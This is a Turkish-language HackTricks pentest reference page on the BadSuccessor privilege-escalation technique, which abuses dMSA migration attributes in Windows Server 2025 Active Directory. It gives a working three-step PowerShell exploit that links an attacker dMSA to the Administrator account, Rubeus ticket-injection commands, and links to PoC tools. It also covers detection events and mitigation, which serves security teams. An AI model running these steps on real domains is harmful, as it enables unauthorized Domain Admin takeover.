hacktricks/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md

102 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BadSuccessor: Delegeli MSA Göç İstismarı ile Yetki Yükseltme
{{#include ../../banners/hacktricks-training.md}}
## Genel Bakış
Delegeli Yönetilen Hizmet Hesapları (**dMSA**), Windows Server 2025'te sunulan **gMSA**'nın bir sonraki nesil halefidir. Meşru bir göç iş akışı, yöneticilerin *eski* bir hesabı (kullanıcı, bilgisayar veya hizmet hesabı) dMSA ile değiştirirken izinleri şeffaf bir şekilde korumasına olanak tanır. İş akışı, `Start-ADServiceAccountMigration` ve `Complete-ADServiceAccountMigration` gibi PowerShell cmdlet'leri aracılığıyla açığa çıkar ve **dMSA nesnesinin** iki LDAP niteliğine dayanır:
* **`msDS-ManagedAccountPrecededByLink`** *DN bağlantısı* ile geçersiz kılınan (eski) hesap.
* **`msDS-DelegatedMSAState`** göç durumu (`0` = yok, `1` = devam ediyor, `2` = *tamamlandı*).
Eğer bir saldırgan, bir OU içinde **herhangi bir** dMSA oluşturabilir ve bu 2 niteliği doğrudan manipüle edebilirse, LSASS ve KDC dMSA'yı bağlantılı hesabın *halef* olarak kabul eder. Saldırgan daha sonra dMSA olarak kimlik doğruladığında **bağlantılı hesabın tüm ayrıcalıklarını devralır** eğer Yönetici hesabı bağlantılıysa **Domain Admin**'e kadar.
Bu teknik, 2025'te Unit 42 tarafından **BadSuccessor** olarak adlandırılmıştır. Yazma anında **hiçbir güvenlik yaması** mevcut değildir; yalnızca OU izinlerinin güçlendirilmesi sorunu hafifletir.
### Saldırı Ön Koşulları
1. **Bir Organizasyonel Birim (OU)** içinde nesne oluşturmasına *izin verilen* bir hesap *ve* en az birine sahip olmalıdır:
* `Create Child`**`msDS-DelegatedManagedServiceAccount`** nesne sınıfı
* `Create Child`**`All Objects`** (genel oluşturma)
2. LDAP & Kerberos'a (standart alan katılmış senaryo / uzaktan saldırı) ağ bağlantısı.
## Savunmasız OUs'u Belirleme
Unit 42, her OU'nun güvenlik tanımlarını ayrıştıran ve gerekli ACE'leri vurgulayan bir PowerShell yardımcı betiği yayınladı:
```powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
```
Arka planda, script `(objectClass=organizationalUnit)` için sayfalı bir LDAP araması yapar ve her `nTSecurityDescriptor`'ı kontrol eder.
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
* `Active Directory Şeması ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (nesne sınıfı *msDS-DelegatedManagedServiceAccount*)
## Sömürü Adımları
Yazılabilir bir OU belirlendikten sonra, saldırı sadece 3 LDAP yazım uzaklıktadır:
```powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
```
Replike edildikten sonra, saldırgan basitçe `attacker_dMSA$` olarak **giriş yapabilir** veya bir Kerberos TGT talep edebilir Windows, *geçersiz kılınmış* hesabın jetonunu oluşturacaktır.
### Otomasyon
Bir dizi kamuya açık PoC, şifre alma ve bilet yönetimi dahil olmak üzere tüm iş akışını sarmaktadır:
* SharpSuccessor (C#) [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
* BadSuccessor.ps1 (PowerShell) [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
* NetExec modülü `badsuccessor` (Python) [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
### Post-Exploitation
```powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
```
## Tespit ve Avlanma
OU'larda **Nesne Denetimi**'ni etkinleştirin ve aşağıdaki Windows Güvenlik Olaylarını izleyin:
* **5137** **dMSA** nesnesinin oluşturulması
* **5136** **`msDS-ManagedAccountPrecededByLink`**'in değiştirilmesi
* **4662** Belirli nitelik değişiklikleri
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919``msDS-DelegatedMSAState`
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1``msDS-ManagedAccountPrecededByLink`
* **2946** dMSA için TGT verilmesi
`4662` (nitelik değişikliği), `4741` (bir bilgisayar/hizmet hesabının oluşturulması) ve `4624` (sonraki oturum açma) olaylarını ilişkilendirmek, BadSuccessor etkinliğini hızlı bir şekilde vurgular. **XSIAM** gibi XDR çözümleri, kullanıma hazır sorgularla birlikte gelir (bkz. referanslar).
## Hafifletme
* **En az ayrıcalık** ilkesini uygulayın yalnızca *Hizmet Hesabı* yönetimini güvenilir rollere devredin.
*ıkça gerekmeyen OU'lardan `Create Child` / `msDS-DelegatedManagedServiceAccount`'ı kaldırın.
* Yukarıda listelenen olay kimliklerini izleyin ve dMSA oluşturan veya düzenleyen *non-Tier-0* kimlikleri konusunda uyarı verin.
## Ayrıca bakınız
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
## Referanslar
- [Unit42 İyi Hesaplar Kötüye Gitti: Delegeli Yönetilen Hizmet Hesaplarını Sömürmek](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
- [BadSuccessor.ps1 Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
- [NetExec BadSuccessor modülü](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
{{#include ../../banners/hacktricks-training.md}}